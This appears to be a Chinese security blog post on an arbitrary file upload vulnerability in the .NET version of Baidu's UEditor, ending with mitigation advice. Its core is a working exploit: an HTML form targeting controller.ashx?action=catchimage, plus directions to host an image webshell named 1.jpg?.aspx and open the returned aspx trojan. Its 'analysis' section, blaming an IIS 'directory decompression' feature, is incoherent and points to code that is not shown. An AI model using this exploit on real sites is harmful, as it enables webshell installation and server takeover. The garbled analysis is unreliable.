UEditor .net版本任意文件上传
UEditor .net版本任意文件上传
简介
ueditor是百度官方技术团队开发的一套前端编辑器,可以上传图片,写文字,支持自定义的html编写,移动端以及电脑端都可以无缝对接,自适应页面,图片也可以自动适应当前的上传路径与页面比例大小,一些视频文件的上传,开源,高效,稳定,安全,一直深受站长们的喜欢。
百度的UEditor文本编辑器,近几年很少被曝出漏洞,事情没有绝对的,总会有漏洞,这次被曝出的漏洞是.net版本的,其他的php,jsp,asp版本不受此UEditor的漏洞的影响,.net存在任意文件上传,绕过文件格式的限制,在获取远程资源的时候并没有对远程文件的格式进行严格的过滤与判断,攻击者可以上传任意文件包括脚本执行文件,包括aspx脚本木马,asp脚本木马,还可以利用该UEditor漏洞对服务器进行攻击,执行系统命名破坏服务器,由于漏洞危害严重性较高,受害网站较多
漏洞payload
<form action="http://www/ueditor/net/controller.ashx?action=catchimage&encode=utf-8" enctype="application/x-www-form-urlencoded" method="POST">
<p>shell addr:<input type="text" name="source[]" /></p >
<input type="submit" value="Submit" />
</form>
将他保存为Html文件
然后我们打开html看到,需要一个远程链接的文件,这里我们可以找一个图片脚本木马,最好是一句话图片小马,把该小马文件上传到我们的网站服务器里,把文件名改为1.jpg?.aspx,然后复制网站链接到构造的html中去,如下图:
点击submit,直接上传成功,并返回我们的aspx脚本木马路径地址,我们打开就可以使用了。
UEdito漏洞分析
那么UEdito漏洞到底是如何产生的呢?最主要的还是利用了IIS的目录解压功能,在解压的同时会去访问控制器文件,包括controller.aspx文件,当上传到网站里的时候,会自动解压并调用一些特殊应用的目录地址,有些目录都可以被远程的调用,我们看下面的代码:
漏洞修复
1.目前临时的漏洞修复是建议,把文件上传目录设置无脚本执行权限,uploadvideo、uploadimage、catchimage、uploadscrawl、uploadfile、等等目录都设置上无脚本权限。
2.在百度UEditor官方没有出补丁前,设置图片目录为只读,禁止写入。
3.修改程序的源代码,对crawlerhandler源文件进行文件上传格式的严格过滤与判断。